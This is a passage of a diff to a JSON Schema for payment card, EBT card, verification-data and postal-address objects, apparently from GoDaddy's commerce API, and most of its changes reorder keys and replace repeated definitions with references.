+ "cvData": { + "description": "CVV information typically at the back of the card.", + "type": "string", + "writeOnly": true + }, + "cvSkipReason": { + "description": "CVV skipped because of this reason.", + "type": "string", + "writeOnly": true }, "threeDSecureData": { "description": "3d secure data information", - "writeOnly": true, - "type": "object", "properties": { - "eci": { + "cryptogram": { "type": "string" }, - "cryptogram": { + "eci": { "type": "string" } - } + }, + "type": "object", + "writeOnly": true } - } + }, + "title": "Card Verification Data", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/token-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Token Verification Data", "description": "Verification data for the token used as funding source", - "type": "object", "properties": { "billingAddress": { - "description": "Address for verification", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schema/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" } - } + }, + "title": "Token Verification Data", + "type": "object" } ], - "discriminator": { - "propertyName": "type", - "mapping": { - "CARD": "../verification-data/CardVerificationData.yaml", - "TOKEN": "../verification-data/TokenVerificationData.yaml" - } - }, "properties": { "type": { - "type": "string", - "description": "Discriminator type representing the type of verification data" + "description": "Discriminator type representing the type of verification data", + "type": "string" } }, "required": [ "type" - ] + ], + "title": "Verification Data", + "type": "object" }, "processingInstruction": { - "writeOnly": true, - "description": "Processing instruction to use this funding source", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-processing-instruction.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Processing Instruction", - "type": "object", + "description": "Instructions on how the card should be processed", "properties": { - "signatureRequired": { - "type": "boolean", + "debit": { "default": false, - "description": "If signature is required for this transaction" + "description": "If card should be processed as debit or not", + "type": "boolean" }, - "debit": { - "type": "boolean", + "signatureRequired": { "default": false, - "description": "If card should be processed as debit or not" + "description": "If signature is required for this transaction", + "type": "boolean" } - } + }, + "title": "Card Processing Instruction", + "type": "object" } }, "required": [ "cardDetail" - ] + ], + "title": "Payment Card", + "type": "object" }, { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/ebt-card.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "EBT Card", - "type": "object", "description": "EBT Card", "properties": { "cardDetail": { - "description": "Card detail", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Detail", - "type": "object", + "description": "Details of the card used for processing transaction", "properties": { - "number": { + "currency": { + "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "ISO 4217 Currency codes", + "example": "USD", + "maxLength": 3, + "minLength": 3, + "title": "Currency", "type": "string", - "description": "Card number" + "x-currency-type": true, + "x-custom-type": true }, - "numberHashed": { - "type": "string", - "description": "Card number hashed", - "readOnly": true - }, - "type": { - "type": "string", - "enum": [ - "VISA", - "MASTERCARD", - "AMERICAN_EXPRESS", - "DISCOVER", - "INTERAC", - "BANCOMAT", - "MAESTRO", - "DINERS_CLUB", - "JCB", - "UNIONPAY", - "BANKAXEPT", - "OTHER" - ], - "description": "Type of the card" - }, - "source": { - "type": "string", - "description": "Source of the card", - "enum": [ - "DIRECT", - "PAZE", - "APPLE_PAY", - "GOOGLE_PAY" - ] - }, - "track1data": { - "type": "string", - "writeOnly": true, - "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name)." - }, - "track2data": { - "type": "string", - "writeOnly": true, - "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc." - }, - "track3data": { - "type": "string", - "writeOnly": true, - "description": "Track3 for future use. Carries track from custom funding sources." - }, - "firstName": { - "type": "string", - "description": "First name of card holder" - }, - "lastName": { - "type": "string", - "description": "Last name of card holder" - }, - "expMonth": { - "type": "integer", - "minimum": 1, - "maximum": 12 - }, - "expYear": { - "type": "integer", - "minimum": 2000, - "maximum": 9999 - }, - "sequenceNumber": { - "type": "string", - "writeOnly": true, - "description": "Sequence number to distinguish between 2 cards with same PAN." - }, - "serviceCode": { - "type": "string", - "writeOnly": true, - "description": "Track data read from card" + "emvTags": { + "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": { + "maxLength": 256, + "type": "string" + }, + "description": "Key value pairs of strings", + "maxProperties": 40, + "minProperties": 0, + "title": "Dictionary", + "type": "object" }, "encrypted": { - "type": "boolean", "default": true, "description": "True if the card number is encrypted", + "type": "boolean", "writeOnly": true }, - "keySerialNumber": { - "type": "string", - "writeOnly": true, - "description": "For DUKPT encryption" - }, "entryDetails": { - "description": "Card entry details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/card-entry-detail.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Entry Detail", - "type": "object", + "description": "Details on how the card is used during transaction", "properties": { - "iccFallback": { - "type": "boolean", - "description": "indicates whether there was a fallback to MSR from EMV", + "customerPresent": { "default": false, - "writeOnly": true + "description": "Indicates whether customer was present during transaction", + "type": "boolean" }, "entryMethod": { - "type": "string", "description": "Entry mode for the card", "enum": [ "KEYED", @@ -1678,210 +1769,205 @@ "CL_MSR", "ICC", "CL_ICC" - ] + ], + "type": "string" }, - "customerPresent": { + "iccFallback": { + "default": false, + "description": "indicates whether there was a fallback to MSR from EMV", "type": "boolean", - "description": "Indicates whether customer was present during transaction", - "default": false + "writeOnly": true } - } + }, + "title": "Card Entry Detail", + "type": "object" + }, + "expMonth": { + "maximum": 12, + "minimum": 1, + "type": "integer" + }, + "expYear": { + "maximum": 9999, + "minimum": 2000, + "type": "integer" + }, + "firstName": { + "description": "First name of card holder", + "type": "string" }, "interacMacDetail": { - "writeOnly": true, - "description": "Card Interacmac details", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/payment-card/interacmac.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Interac Mac", - "type": "object", + "description": "Interac Mac details of the Payment card", "properties": { "interacMac": { - "type": "string", - "description": "Interac mac details for canada based cards" + "description": "Interac mac details for canada based cards", + "type": "string" }, "interacMacKSN": { - "type": "string", - "description": "Interac mac key serial number for canada based cards" + "description": "Interac mac key serial number for canada based cards", + "type": "string" } }, "required": [ "interacMac", "interacMacKSN" - ] - }, - "emvTags": { - "writeOnly": true, - "description": "Card EMV tags", - "$id": "https://godaddy.com/schemas/commerce/transaction/dictionary.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Dictionary", - "type": "object", - "minProperties": 0, - "maxProperties": 40, - "additionalProperties": { - "type": "string", - "maxLength": 256 - } + ], + "title": "Interac Mac", + "type": "object" }, - "currency": { - "description": "Card's native currency code, when available.", - "$id": "https://godaddy.com/schemas/commerce/transaction/currency.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Currency", + "keySerialNumber": { + "description": "For DUKPT encryption", "type": "string", - "example": "USD", - "minLength": 3, - "maxLength": 3, - "x-custom-type": true, - "x-currency-type": true + "writeOnly": true + }, + "lastName": { + "description": "Last name of card holder", + "type": "string" }, "legacyData": { - "deprecated": true, - "description": "Contains card details represented by legacy system", - "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", - "$schema": "https://json-schema.org/draft/2019-09/schema", - "type": "object", "$defs": { "LegacyCardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } - } + }, + "type": "object" }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." + "type": "object" }, "LegacyCardAgreementMetadata": { - "type": "object", + "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc.", "properties": { "businessContact": { - "type": "string", "description": "Business contact or website.", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "businessName": { - "type": "string", "description": "Business name.", - "maxLength": 128 + "maxLength": 128, + "type": "string" }, "businessPhone": { - "type": "string", "description": "Business phone.", - "maxLength": 16 + "maxLength": 16, + "type": "string" }, "countryCode": { - "type": "string", "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" }, "lang": { - "type": "string", "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 + "maxLength": 2, + "type": "string" } }, - "description": "Object to represent card agreement metadata. Will hold the agreement template properties, language, country code etc." + "type": "object" }, "LegacyCardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -1890,29 +1976,35 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" + }, + "LegacyCardKey": { + "enum": [ + "WCK", + "WAEK", + "WMACK" + ], + "type": "string" }, "LegacyCardKeyData": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", "enum": [ "WCK", "WAEK", "WMACK" - ] + ], + "type": "string" }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } + }, + "type": "object" }, "LegacyCardType": { - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -1931,135 +2023,97 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] - }, - "LegacyCardKey": { - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + ], + "type": "string" } }, + "$id": "https://poynt.godaddy.com/schemas/funding-source/card-detail.v2", + "$schema": "https://json-schema.org/draft/2019-09/schema", + "deprecated": true, + "description": "Object to carry credit/debit card information.", "properties": { "cardAgreement": { - "type": "object", + "description": "Object to keep track of card agreements for referenced transactions and recurring billing.", "properties": { "agreedOn": { - "type": "string", + "description": "Timestamp for when this agreement was agreed.", "format": "date-time", - "description": "Timestamp for when this agreement was agreed." + "type": "string" }, "businessId": { - "type": "string", - "description": "Business UUID that this card agreement belongs to." + "description": "Business UUID that this card agreement belongs to.", + "type": "string" }, "cardId": { - "type": "string", - "description": "Card UUID that this card agreement belongs to." + "description": "Card UUID that this card agreement belongs to.", + "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "declinedOn": { - "type": "string", + "description": "Timestamp for when this agreement was declined.", "format": "date-time", - "description": "Timestamp for when this agreement was declined." + "type": "string" }, "email": { - "type": "string", - "description": "The customer email that we will send the agreement to." + "description": "The customer email that we will send the agreement to.", + "type": "string" }, "id": { - "type": "string", - "description": "UUID of the card agreement." + "description": "UUID of the card agreement.", + "type": "string" }, "metadata": { - "description": "Card agreement metadata. Will hold the agreement template properties.", - "type": "object", - "properties": { - "businessContact": { - "type": "string", - "description": "Business contact or website.", - "maxLength": 1024 - }, - "businessName": { - "type": "string", - "description": "Business name.", - "maxLength": 128 - }, - "businessPhone": { - "type": "string", - "description": "Business phone.", - "maxLength": 16 - }, - "countryCode": { - "type": "string", - "description": "Customer country code in ISO 3166-1 alpha-2 format, that was used to resolve template.", - "maxLength": 2 - }, - "lang": { - "type": "string", - "description": "Language of agreement template in ISO 639-1 format, that was used to resolve template.", - "maxLength": 2 - } - } + "$ref": "#/$defs/LegacyCardAgreementMetadata", + "description": "Card agreement metadata. Will hold the agreement template properties." }, "status": { - "type": "string", "description": "[Required] The type of card agreement status.", "enum": [ "ACCEPTED", "DELETED", "INACTIVE" - ] + ], + "type": "string" }, "txnId": { - "type": "string", - "description": "Transaction UUID where this agreement is accepted." + "description": "Transaction UUID where this agreement is accepted.", + "type": "string" }, "updatedAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "version": { - "type": "integer", - "description": "The version of agreement." + "description": "The version of agreement.", + "type": "integer" } }, - "description": "Object to keep track of card agreements for referenced transactions and recurring billing." - }, - "status": { - "type": "string", - "description": "Status of the card.", - "enum": [ - "ACTIVE", - "REMOVED" - ] + "type": "object" }, "cardBrand": { - "type": "object", + "description": "This object represents CardBrand.", "properties": { "brand": { "type": "string" }, "createdAt": { - "type": "string", - "format": "date-time" + "format": "date-time", + "type": "string" }, "displayName": { - "type": "string", + "maxLength": 50, "minLength": 3, - "maxLength": 50 + "type": "string" }, "id": { "type": "string" }, "issuerBank": { - "type": "string", - "maxLength": 150 + "maxLength": 150, + "type": "string" }, "logoUrl": { "type": "string" @@ -2068,73 +2122,74 @@ "type": "string" } }, - "description": "This object represents CardBrand." + "type": "object" }, "cardHolderFullName": { - "type": "string", "description": "Card holder's full name usually picked from track1.", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, "cardId": { - "type": "string", - "description": "The uuid of the card created" + "description": "The uuid of the card created", + "type": "string" }, "encrypted": { - "type": "boolean", - "description": "True if track, PAN, expiration are encrypted." + "description": "True if track, PAN, expiration are encrypted.", + "type": "boolean" }, "encryptedExpirationDate": { - "type": "string", - "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here." + "description": "If encryption is true, a single encrypted expiration date (containing year, month and possibly date) is provided here.", + "type": "string" }, "expirationDate": { - "type": "integer", - "description": "The date from expiration. Date is typically only present in EMV cards." + "description": "The date from expiration. Date is typically only present in EMV cards.", + "type": "integer" }, "id": { - "type": "integer", - "description": "The id of the card created." + "description": "The id of the card created.", + "type": "integer" }, "issuer": { "type": "string" }, "key": { "description": "List of keys and their versions being used. If encrypted is true, only one of key and keySerialNumber can be populated (not both).", - "type": "array", "items": { - "type": "object", "properties": { "id": { - "description": "The key identifier.", - "type": "string", - "enum": [ - "WCK", - "WAEK", - "WMACK" - ] + "$ref": "#/$defs/LegacyCardKey", + "description": "The key identifier." }, "version": { - "type": "string", "description": "Version of the key.", - "maxLength": 4 + "maxLength": 4, + "type": "string" } - } - } + }, + "type": "object" + }, + "type": "array" }, "numberFirst6": { - "type": "string", - "description": "This is a response field. The first6 numbers of the PAN." + "description": "This is a response field. The first6 numbers of the PAN.", + "type": "string" }, "numberHashed": { "type": "string" }, "numberLast4": { - "type": "string", - "description": "This is a response field. The last4 numbers of the PAN." + "description": "This is a response field. The last4 numbers of the PAN.", + "type": "string" + }, + "status": { + "description": "Status of the card.", + "enum": [ + "ACTIVE", + "REMOVED" + ], + "type": "string" }, "type": { - "description": "The network card belongs to: DISCOVER, VISA, MASTERCARD, AMEX, etc.", - "type": "string", "enum": [ "AMERICAN_EXPRESS", "EBT", @@ -2153,841 +2208,823 @@ "UNIONPAY", "VISA", "BANKAXEPT" - ] + ], + "type": "string" } - } + }, + "type": "object" + }, + "number": { + "description": "Card number", + "type": "string" + }, + "numberHashed": { + "description": "Card number hashed", + "readOnly": true, + "type": "string" + }, + "sequenceNumber": { + "description": "Sequence number to distinguish between 2 cards with same PAN.", + "type": "string", + "writeOnly": true + }, + "serviceCode": { + "description": "Track data read from card", + "type": "string", + "writeOnly": true + }, + "source": { + "description": "Source of the card", + "enum": [ + "DIRECT", + "PAZE", + "APPLE_PAY", + "GOOGLE_PAY" + ], + "type": "string" + }, + "track1data": { + "description": "In some use-cases (like airlines) Track1 is required. Track1 contains some extra information over Track2 (like cardholder's name).", + "type": "string", + "writeOnly": true + }, + "track2data": { + "description": "Required for swiped transactions. Track2 read from the card contains PAN, expiration, etc.", + "type": "string", + "writeOnly": true + }, + "track3data": { + "description": "Track3 for future use. Carries track from custom funding sources.", + "type": "string", + "writeOnly": true + }, + "type": { + "description": "Type of the card", + "enum": [ + "VISA", + "MASTERCARD", + "AMERICAN_EXPRESS", + "DISCOVER", + "INTERAC", + "BANCOMAT", + "MAESTRO", + "DINERS_CLUB", + "JCB", + "UNIONPAY", + "BANKAXEPT", + "OTHER" + ], + "type": "string" } }, "required": [ "type", "number", "source" - ] + ], + "title": "Card Detail", + "type": "object" + }, + "cardType": { + "description": "Type of EBT card used", + "enum": [ + "FOOD_STAMP", + "CASH_BENEFIT", + "ELECTRONIC_VOUCHER" + ], + "type": "string" }, "cardVerificationData": { - "description": "Card verification data", "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Verification Data", - "type": "object", + "description": "Verification data for funding source", + "discriminator": { + "mapping": { + "CARD": "../verification-data/CardVerificationData.yaml", + "TOKEN": "../verification-data/TokenVerificationData.yaml" + }, + "propertyName": "type" + }, "oneOf": [ { "$id": "https://godaddy.com/schemas/commerce/transaction/funding-source/card-verification.v2", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Card Verification Data", "description": "Verification data for the card used as funding source", - "type": "object", "properties": { - "cardPin": { - "type": "string", - "description": "Card pin block.", - "writeOnly": true - }, - "cardPinKeySerialNumber": { - "type": "string", - "description": "The acquirer's KeySerialNumber (KSN) corresponding to the pin-block", - "writeOnly": true - }, - "cvSkipReason": { - "type": "string", - "description": "CVV skipped because of this reason.", - "writeOnly": true - }, - "cvData": { - "type": "string", - "description": "CVV information typically at the back of the card.", - "writeOnly": true - }, "cardHolderBillingAddress": { - "description": "Address for AVS", - "writeOnly": true, "$id": "https://godaddy.com/schema/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", + "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { - "addressLine1": { - "type": "string", - "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 - }, - "addressLine2": { - "type": "string", - "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 - }, - "addressLine3": { - "type": "string", - "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 - }, - "adminArea2": { - "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 - }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 - }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 - }, - "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", - "$id": "https://godaddy.com/schemas/common-types/country-code.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", - "maxLength": 2, - "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" - }, "addressDetails": { - "type": "object", - "title": "Address Details", "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", 